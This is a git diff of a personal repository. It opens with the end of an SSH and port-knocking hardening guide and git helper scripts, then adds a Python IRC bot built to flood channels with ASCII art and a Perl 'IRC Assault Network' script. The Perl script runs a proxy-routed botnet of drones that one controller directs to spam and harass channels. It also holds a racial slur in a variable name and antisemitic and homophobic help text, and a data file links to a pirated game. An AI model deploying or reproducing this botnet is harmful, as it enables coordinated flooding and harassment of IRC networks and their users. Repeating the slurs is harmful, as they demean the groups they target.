||||
-A SSH-INPUT -m recent --name SSH1 --set -j DROP
|
||||
-A SSH-INPUTTWO -m recent --name SSH2 --set -j DROP
|
||||
-A TRAFFIC -j DROP
|
||||
COMMIT
|
||||
```
|
||||
* `systemctl daemon-reload `
|
||||
* `systemctl restart iptables`
|
||||
|
||||
###### Using Knockd
|
||||
Download & install the [knockd](http://www.zeroflux.org/projects/knock) package.
|
||||
|
||||
* `nano /etc/knockd.conf`
|
||||
```
|
||||
[options]
|
||||
logfile = /var/log/knockd.log
|
||||
[opencloseSSH]
|
||||
sequence = 8881:tcp,7777:tcp,9991:tcp
|
||||
seq_timeout = 5
|
||||
tcpflags = syn,ack
|
||||
start_command = /usr/bin/iptables -A TCP -s %IP% -p tcp --dport 65150 -j ACCEPT
|
||||
cmd_timeout = 10
|
||||
stop_command = /usr/bin/iptables -D TCP -s %IP% -p tcp --dport 65150 -j ACCEPT
|
||||
```
|
||||
|
||||
##### Knocking Your Server
|
||||
###### Using Nmap
|
||||
Download & install the [nmap](https://nmap.org/) package.
|
||||
|
||||
* `nano knock.sh`
|
||||
```bash
|
||||
#!/bin/bash
|
||||
HOST=$1
|
||||
shift
|
||||
for ARG in "$@"
|
||||
do
|
||||
nmap -Pn --host_timeout 100 --max-retries 0 -p $ARG $HOST
|
||||
done
|
||||
```
|
||||
* Usage: `sh knock.sh example.server.com 8881 7777 9991`
|
||||
|
||||
###### Using Knockd
|
||||
Download & install the [knockd](http://www.zeroflux.org/projects/knock) package.
|
||||
|
||||
* `knock -v example.server.com 8881:tcp 7777:tcp 9991:tcp`
|
||||
|
||||
### Jump Hosts
|
||||
* `ssh -J <jumphost> <host>`
|
||||
|
||||
The `<jumphost>` option can be `user@host`, `user@host:port` or an host setup in your `~/.ssh/config`.
|
||||
|
||||
Multiple jump hosts can be used in a comma *(no spaces)* separated list.
|
||||
|
||||
The same applies for the `<host>` option, except to change the port, either use the `-p <port>` option at the end or use a host setup in your `~/.ssh/config`.
|
||||
|
||||
or...
|
||||
|
||||
* nano `~/.ssh/config`:
|
||||
```
|
||||
Host jumpbox
|
||||
HostName jump.server.com
|
||||
|
||||
Host targetbox
|
||||
...
|
||||
ProxyJump jumpbox1
|
||||
...
|
||||
```
|
||||
|
||||
Multiple jump hosts can be used in the `ProxyJump` option in a comma *(no spaces)* separated list.
|
||||
|
||||
Connect to your target host with `ssh targetbox`
|
||||
|
||||
---
|
||||
|
||||
## Sources
|
||||
* https://wiki.archlinux.org/index.php/Port_knocking
|
||||
* https://wiki.archlinux.org/index.php/SSH_keys
|
||||
* https://wiki.mozilla.org/Security/Guidelines/OpenSSH
|
||||
* https://www.openssh.com/manual.html
|
||||
* https://stribika.github.io/2015/01/04/secure-secure-shell.html
|
14
gitremote.sh
Normal file
14
gitremote.sh
Normal file
@ -0,0 +1,14 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
for u in $HOME/dev/git/*/; do
|
||||
for d in $(find $u -name .git -type d -prune | sort); do
|
||||
u=$(basename $u)
|
||||
r=$(basename -s .git `git --git-dir $d config --get remote.origin.url`)
|
||||
echo "updating $r..."
|
||||
git -C $d remote remove origin
|
||||
git -C $d remote add origin git@github.com:$s/$r.git
|
||||
git -C $d remote set-url --add --push origin git@github.com:$u/$r.git
|
||||
git -C $d remote set-url --add --push origin git@gitlab.com:$u/$r.git
|
||||
git -C $d remote set-url --add --push origin git@contra:$r.git
|
||||
done
|
||||
done
|
7
gitserver.sh
Normal file
7
gitserver.sh
Normal file
@ -0,0 +1,7 @@
|
||||
#/bin/sh
|
||||
[ ! getent group ssh ] && groupadd ssh
|
||||
[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
|
||||
[ ! $(getent passwd git > /dev/null) ] && userdel -f git
|
||||
useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
|
||||
echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
|
||||
mkdir "$1.git" && cd "$1.git" && git -C "$1.git" --bare init chown -R git:git "$1.git"
|
265
irc/anythinggoes/anythinggoes.py
Normal file
265
irc/anythinggoes/anythinggoes.py
Normal file
@ -0,0 +1,265 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
#!/usr/bin/env python
|
||||
# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
import random,socket,ssl,threading,time
|
||||
|
||||
# Config
|
||||
admin_ident = 'ak!ak@super.nets'
|
||||
channel = '#anythinggoes'
|
||||
nickserv_password = 'CHANGEME'
|
||||
operator_password = 'CHANGEME'
|
||||
throttle_msg = 0.15
|
||||
|
||||
# Formatting Control Characters / Color Codes
|
||||
bold = '\x02'
|
||||
italic = '\x1D'
|
||||
underline = '\x1F'
|
||||
reverse = '\x16'
|
||||
reset = '\x0f'
|
||||
white = '00'
|
||||
black = '01'
|
||||
blue = '02'
|
||||
green = '03'
|
||||
red = '04'
|
||||
brown = '05'
|
||||
purple = '06'
|
||||
orange = '07'
|
||||
yellow = '08'
|
||||
light_green = '09'
|
||||
cyan = '10'
|
||||
light_cyan = '11'
|
||||
light_blue = '12'
|
||||
pink = '13'
|
||||
grey = '14'
|
||||
light_grey = '15'
|
||||
|
||||
def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
|
||||
def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
|
||||
def get_time():return time.strftime('%I:%M:%S')
|
||||
def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
|
||||
|
||||
class Functions:
|
||||
def banana_bomb():
|
||||
for i in range(random.randint(5,10)):
|
||||
spaces=random.randint(1,120)
|
||||
for line in banana_data:
|
||||
Bot.sendmsg(channel,' '*spaces+line)
|
||||
|
||||
def chat_rain(amount):
|
||||
words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
|
||||
for i in range(amount):
|
||||
Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
|
||||
|
||||
def crab_flood(amount):
|
||||
counter=1
|
||||
notify=random.randint(100,999)
|
||||
if amount>=1000000:
|
||||
amount=1000000
|
||||
Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
|
||||
Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
|
||||
for i in range(amount):
|
||||
spaces=random.randint(1,120)
|
||||
for line in crab_data:
|
||||
Bot.sendmsg(channel,' '*spaces+line)
|
||||
counter+=1
|
||||
if counter==notify:
|
||||
spaces=random.randint(1,120)
|
||||
Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
|
||||
counter=1
|
||||
|
||||
def grave(nick):
|
||||
length=len(nick)
|
||||
Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color(' ',light_blue,light_blue)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_blue,light_blue)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color(' ', light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ', light_green,light_green)))
|
||||
|
||||
def rain(word,amount):
|
||||
for i in range(amount):
|
||||
Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
|
||||
|
||||
def rope(length):
|
||||
spaces=50
|
||||
prev=None
|
||||
for i in range(length):
|
||||
if random.choice((True,False)):
|
||||
if prev!='╱':spaces+=1
|
||||
char='╲'
|
||||
else:
|
||||
if prev!='╲':spaces-=1
|
||||
char='╱'
|
||||
Bot.sendmsg(channel,' '*spaces+char)
|
||||
prev=char
|
||||
Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
|
||||
|
||||
def wave(msg,lines,spaces,hilite):
|
||||
rainbow=['04','08','09','11','12','13']
|
||||
spacer=15
|
||||
spaces+=spacer
|
||||
toggle=True
|
||||
data=list()
|
||||
for i in range(lines):
|
||||
if hilite:
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
|
||||
Bot.nicks.append(Bot.nicks.pop(0))
|
||||
else:
|
||||
Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
|
||||
rainbow.append(rainbow.pop(0))
|
||||
if toggle:spacer+=1
|
||||
else:spacer-=1
|
||||
if spacer==spaces:toggle=False
|
||||
elif spacer==15:toggle=True
|
||||
|
||||
def worm(length):
|
||||
spacer=random.randint(10,100)
|
||||
Bot.sendmsg(channel,'{0} {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
for i in range(length):
|
||||
Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
if random.choice((True,False)):spacer += 1
|
||||
else:spacer-=1
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_ _',black,pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o o',black,pink),color('▓▒░',pink)))
|
||||
Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
|
||||
|
||||
class WormNet(threading.Thread):
|
||||
def __init__(self):
|
||||
self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
threading.Thread.__init__(self)
|
||||
def run(self):
|
||||
Bot.wormnet=True
|
||||
try:
|
||||
self.sock.connect(('wormnet1.team17.com',6667))
|
||||
self.raw('PASS ELSILRACLIHP')
|
||||
self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
|
||||
self.raw('NICK SUPERNETS')
|
||||
while True:
|
||||
data=self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split())>=2):
|
||||
Bot.sendmsg_wormnet('raw',cyan,line)
|
||||
args=line.split()
|
||||
if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
|
||||
elif args[0]=='PING':self.raw('PONG '+args[1][1:])
|
||||
elif args[1]=='001':self.raw('JOIN '+channel)
|
||||
elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):pass
|
||||
except Exception as ex:
|
||||
Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
|
||||
self.sock.close()
|
||||
Bot.wormnet=False
|
||||
Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
|
||||
def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
|
||||
def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
class IRC(object):
|
||||
def __init__(self):
|
||||
self.nicks=list()
|
||||
self.echo=False
|
||||
self.sock=None
|
||||
self.wormnet=False
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM))
|
||||
self.sock.connect(('irc.supernets.org',6697))
|
||||
self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
|
||||
self.raw('NICK THEGAME')
|
||||
while True:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
print(f'{get_time()} | [~] - {line}')
|
||||
args = line.split()
|
||||
if args[0]=='PING':self.raw('PONG '+args[1][1:])
|
||||
elif args[1]=='001':
|
||||
self.raw('MODE THEGAME +BDd')
|
||||
self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
|
||||
self.raw(f'OPER thegame {operator_password}')
|
||||
self.raw('JOIN '+channel)
|
||||
elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
|
||||
elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
|
||||
elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
|
||||
elif args[1]=='PART' and len(args)>=3:
|
||||
self.sendmsg(args[2],color('EMO-PART DETECTED',red))
|
||||
self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
|
||||
elif args[1]=='PRIVMSG' and len(args)>=4:
|
||||
ident=args[0][1:]
|
||||
nick=args[0].split('!')[0][1:]
|
||||
chan=args[2]
|
||||
msg= ' '.join(args[3:])[1:]
|
||||
if chan==channel:self.event_message(ident,nick,chan,msg)
|
||||
elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
|
||||
except(UnicodeDecodeError,UnicodeEncodeError):pass
|
||||
except:self.sock.close()
|
||||
time.sleep(15)
|
||||
self.connect()
|
||||
|
||||
def event_message(self,ident,nick,chan,msg):
|
||||
args=msg.split()
|
||||
if msg[:1]=='!':
|
||||
if msg=='!bananabomb':Functions.banana_bomb()
|
||||
elif msg=='!crate':
|
||||
for line in crate_data:self.sendmsg(channel,line)
|
||||
elif msg=='!echo':
|
||||
self.echo=False if self.echo else True
|
||||
elif msg=='refresh':
|
||||
self.nicks=list()
|
||||
self.raw('NAMES #anythinggoes')
|
||||
elif msg=='!wormnet' and not self.wormnet and ident==admin_ident:WORMS.start()
|
||||
elif msg=='!worms':
|
||||
for line in worms_data:self.sendmsg(channel, line)
|
||||
elif len(args)==2:
|
||||
if args[1].isdigit():
|
||||
amount=int(args[1])
|
||||
if args[0]=='!chatrain':
|
||||
if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif msg.startswith('!crabflood'):
|
||||
if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
|
||||
else:self.sendmsg(chan,'Max: 10')
|
||||
elif msg.startswith('!rope'):
|
||||
if amount<=100 or ident==admin_ident:Functions.rope(amount)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif msg.startswith('!worm'):
|
||||
if amount<=100 or ident==admin_ident:Functions.worm(amount)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif args[0]=='!rain' and len(args)>=3:
|
||||
amount=args[1]
|
||||
data=' '.join(args[2:])
|
||||
if args[1].isdigit():
|
||||
if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif args[0] in ('!wave','!wavehl') and len(args)>=4:
|
||||
lines =args[1]
|
||||
spaces=args[2]
|
||||
data=' '.join(args[3:])
|
||||
if lines.isdigit() and spaces.isdigit():
|
||||
if int(lines)<=100 or ident==admin_ident:
|
||||
if args[0]=='!wave':
|
||||
Functions.wave(data,int(lines),int(spaces),False)
|
||||
else:
|
||||
Functions.wave(data,int(lines),int(spaces),True)
|
||||
else:self.sendmsg(chan,'Max: 100')
|
||||
elif self.echo:self.sendmsg(chan,msg)
|
||||
|
||||
def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
|
||||
def sendmsg(self,target,msg):
|
||||
time.sleep(throttle_msg)
|
||||
self.raw(f'PRIVMSG {target} :{msg}')
|
||||
def sendmsg_wormnet(self,title,title_color,msg,extra=None):
|
||||
if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
|
||||
else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
|
||||
|
||||
# Main
|
||||
banana_data=open('data/banana.txt').readlines()
|
||||
crab_data=open('data/crab.txt').readlines()
|
||||
crate_data=open('data/crate.txt').readlines()
|
||||
worms_data=open('data/worms.txt').readlines()
|
||||
Bot=IRC()
|
||||
WORMS=WormNet()
|
||||
Bot.connect()
|
4
irc/anythinggoes/data/banana.txt
Normal file
4
irc/anythinggoes/data/banana.txt
Normal file
@ -0,0 +1,4 @@
|
||||
8". ,#
|
||||
8\ `-._____,-'=/
|
||||
8`._ ----- _,'
|
||||
8`-----'
|
10
irc/anythinggoes/data/crab.txt
Normal file
10
irc/anythinggoes/data/crab.txt
Normal file
@ -0,0 +1,10 @@
|
||||
, ,
|
||||
/(_, ,_)\
|
||||
\ _/ \_ /
|
||||
// \\
|
||||
\\ (@)(@) //
|
||||
\'=\"==\"='/
|
||||
,===/ \===,
|
||||
\",===\ /===,\"
|
||||
\" ,==='------'===, \"
|
||||
\" \"
|
11
irc/anythinggoes/data/crate.txt
Normal file
11
irc/anythinggoes/data/crate.txt
Normal file
@ -0,0 +1,11 @@
|
||||
7,7
|
||||
7,7 7,2 7,7 7,4 7,7 7,2 7,7
|
||||
5,7 5,2 5,7 7 7,4 7,7 7,4 7,7 7,2 7,7
|
||||
1,7|||5|1,5|1,7|||7,4 1,7|||1,5|7,4 1,7||1,5|1,7|||||
|
||||
1,7|||5|1,5|1,7|||1,5|1,7|||7,4 1,7|||1,5|1,7|||||
|
||||
1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7|||||
|
||||
1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7|||||
|
||||
1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7|||||
|
||||
7,7 7,2 7,7 7,4 7,7 7,2 7,7
|
||||
7,7 7,2 7,7 7,2 7,7
|
||||
7,7
|
22
irc/anythinggoes/data/worms.txt
Normal file
22
irc/anythinggoes/data/worms.txt
Normal file
@ -0,0 +1,22 @@
|
||||
4,1Worms Armageddon 0
|
||||
0,1
|
||||
0,1[13Installation & Setup0]
|
||||
0,011. Torrent & install Worms Armageddon
|
||||
0,1 14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0
|
||||
0,1
|
||||
0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory.
|
||||
0,1 14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0
|
||||
0,1
|
||||
0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked.
|
||||
0,1
|
||||
0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access.
|
||||
0,1
|
||||
0,1[13Useful Resources0]
|
||||
14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0
|
||||
14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0
|
||||
14,1•0 Mod Pack 12https://www.pyrex.pw/files/worms/worms-mods.zip0
|
||||
14,1•0 Worms Wiki 12http://worms2d.info/Worms_Armageddon0
|
||||
0,1 12 0
|
||||
0,1[13Credits0]
|
||||
0,1 14-0 TEAM WORMSEC OK
|
||||
0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes
|
577
irc/asian-arab.pl
Normal file
577
irc/asian-arab.pl
Normal file
@ -0,0 +1,577 @@
|
||||
#!/usr/bin/perl
|
||||
#
|
||||
#
|
||||
|
||||
# {{{ original copyrights & info
|
||||
|
||||
# This is proxysuite, written in GNU/PURL
|
||||
# by Jmax, of bantown and the GNAA.
|
||||
# It gathers and tests proxies, both http and socks4
|
||||
|
||||
# This product is licensed under the BPL.
|
||||
# You should have recieved a copy of the
|
||||
# license with this program
|
||||
|
||||
# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ]
|
||||
|
||||
|
||||
# ASIAN 2.0 by Jmax
|
||||
#
|
||||
# I have made many modifications:
|
||||
# - Use of command line arguments as opposed to editing the script itself.
|
||||
# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
|
||||
# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
|
||||
# - Improved fork routine/library
|
||||
|
||||
# Must be run on a POSIX-compliant system, with perl.
|
||||
# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE,
|
||||
# and therefore proxies can't be shared between forks. Oh well.
|
||||
|
||||
# The original header (for historical reasons)
|
||||
# is as follows (NOTE: syntax here is _incorrect_):
|
||||
# -----------------------------------------------
|
||||
# ASIAN by Rucas
|
||||
# Automated Synchronous IRC Assault Network
|
||||
# Based on AYSYN by mef
|
||||
#
|
||||
# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
|
||||
# directory as this script. If you'd like to use tor, you can put
|
||||
# the correct info on one line in proxies.txt and this app will
|
||||
# still function properly (although generally tor sucks)
|
||||
#
|
||||
# All bots join $g_channel and are issued raw irc commands from there
|
||||
# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
|
||||
# "botname PRIVMSG Rucas lol failure" and such.
|
||||
#
|
||||
# Testing of an early version of this script is the reason that
|
||||
# Freenode now checks for open SOCKS proxies.
|
||||
# -----------------------------------------------
|
||||
|
||||
# }}}
|
||||
|
||||
use warnings;
|
||||
use strict;
|
||||
|
||||
use IO::Socket;
|
||||
use IO::Handle;
|
||||
use POSIX qw(:signal_h :sys_wait_h); # fork
|
||||
|
||||
use Time::HiRes;
|
||||
# use Data::Dumper;
|
||||
|
||||
use vars qw($VERSION);
|
||||
$VERSION = "3.0";
|
||||
|
||||
|
||||
# {{{ globals
|
||||
|
||||
my ($g_forkcount, $g_pid) = (0, undef);
|
||||
my ($g_dead_nigger_storage, $g_maxfork) = (0, 40);
|
||||
|
||||
my ($g_network, $g_channel);
|
||||
|
||||
# }}}
|
||||
|
||||
# {{{ signal handlers
|
||||
|
||||
$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
|
||||
$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); };
|
||||
|
||||
# }}}
|
||||
|
||||
|
||||
# {{{ entry point
|
||||
|
||||
error("please run using the --help argument") unless $ARGV[0];
|
||||
if ($ARGV[0] eq '--help') {
|
||||
show_usage(); exit 0;
|
||||
} elsif ($ARGV[0] eq '--version') {
|
||||
show_version(); exit 0;
|
||||
} else {
|
||||
error("please run using the --help argument") unless $ARGV[1];
|
||||
$g_network = $ARGV[0];
|
||||
$g_channel = $ARGV[1];
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
# {{{ help/usage information
|
||||
|
||||
sub show_help {
|
||||
print "arab $VERSION by vxp\n".
|
||||
"!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
|
||||
"!!! STOP SUPPORTING ISRAELI DOGS !!!\n".
|
||||
"Based on code & ideas by Jmax, Rucas, abez and mef.\n".
|
||||
"\n".
|
||||
"\n".
|
||||
" Invocation:\n".
|
||||
" perl ".__FILE__." server \"#channel\"\n".
|
||||
"\n".
|
||||
" XXX, and \"#channel\" is the control channel you want the bots\n".
|
||||
" to join. Please note that some shells will interpret the # in\n".
|
||||
" \"#channel\" as acomment, and will not send it to the script.\n".
|
||||
" In this case, you may either use quotes, or escape the '#'.\n".
|
||||
" I prefer quotes.\n".
|
||||
" Note that a list of (nick|user|real) names is expected to reside\n".
|
||||
" in ./names.txt\n".
|
||||
"\n".
|
||||
"\n".
|
||||
" Usage:\n".
|
||||
" all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
||||
" <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
||||
" <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
||||
"\n".
|
||||
" Simply privmsg your command to the control channel, and the respective bots will follow.\n".
|
||||
"\n".
|
||||
" Examples:\n".
|
||||
" <~supers> all join #gnaa gnaa\n".
|
||||
" All bots will join #gnaa using the key 'gnaa'\n".
|
||||
" <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
|
||||
" All bots will say \"LOL HY LOL HY\" in #gnaa\n".
|
||||
" <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
|
||||
" The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
|
||||
" <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
|
||||
" The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
|
||||
" will part #gnaa with reason 'lol jews'\n".
|
||||
"\n".
|
||||
"\n".
|
||||
" Enjoy. -- vxp\n";
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
# {{{ version information
|
||||
|
||||
sub show_version {
|
||||
print "arab $VERSION by vxp\n".
|
||||
"!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
|
||||
"!!! STOP SUPPORTING ISRAELI DOGS !!!\n".
|
||||
"Based on code & ideas by Jmax, Rucas, abez and mef.\n".
|
||||
"\n";
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
|
||||
# load the proxy and name list(s)
|
||||
my @g_proxies = load_proxy_list();
|
||||
my @g_names = load_name_list();
|
||||
|
||||
|
||||
# resolve the host name of the specified target ircd
|
||||
# and cache it in a shared variable
|
||||
my ($g_server_host, @g_server_ip);
|
||||
$g_server_host = $ARGV[0];
|
||||
@g_server_ip = resolve($g_server_host);
|
||||
|
||||
|
||||
# fork(2) off up to $g_maxfork child processes to use as
|
||||
# a pool for subsequent connection attempts
|
||||
notice("Initializing (forking) bots");
|
||||
for ($g_forkcount = 0; # $g_forkcount must _not_
|
||||
$g_forkcount < $g_maxfork; # be local to here
|
||||
$g_forkcount++) {
|
||||
sleep 1; # so we don't overload ourselves
|
||||
|
||||
if (!defined(my $g_pid = fork())) { # fork
|
||||
error("couldn't fork: $!"); # die if fork fails
|
||||
} elsif ($g_pid == 0) {
|
||||
# in child:
|
||||
while (@g_proxies) {
|
||||
# grab a random proxy off the list...
|
||||
my $proxy_slot = int rand @g_proxies;
|
||||
my $proxy = $g_proxies[$proxy_slot];
|
||||
|
||||
# ...attempt to establish a connection through it and
|
||||
# join a drone into the control channel on success.
|
||||
if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type},
|
||||
@g_server_ip, $g_server_host)) {
|
||||
# succeeded
|
||||
} else {
|
||||
# failed, delete proxy
|
||||
# XXX: not shared
|
||||
#delete $g_proxies[$proxy_slot];
|
||||
};
|
||||
|
||||
sleep 10; # to prevent throttling by IRCd
|
||||
}
|
||||
exit 0;
|
||||
|
||||
} else {
|
||||
# in parent:
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
sleep while ($g_dead_nigger_storage < $g_maxfork);
|
||||
exit 666;
|
||||
|
||||
|
||||
# {{{ load lists
|
||||
|
||||
sub load_proxy_list {
|
||||
my (@proxies);
|
||||
|
||||
error("$@") unless push @proxies, load_socks4_list();
|
||||
error("$@") unless push @proxies, load_socks5_list();
|
||||
error("$@") unless push @proxies, load_http_list();
|
||||
return @proxies;
|
||||
}
|
||||
|
||||
sub load_socks4_list {
|
||||
my (@proxies);
|
||||
|
||||
open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!");
|
||||
while (<SOCKSFILE>) {
|
||||
chomp;
|
||||
my ($ip, $port) = /([^:]+):([0-9]+)/;
|
||||
push @proxies, ({ip => $ip, port => $port, type => '4'});
|
||||
}
|
||||
close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!");
|
||||
|
||||
notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies).");
|
||||
return (@proxies);
|
||||
}
|
||||
|
||||
sub load_socks5_list {
|
||||
my (@proxies);
|
||||
|
||||
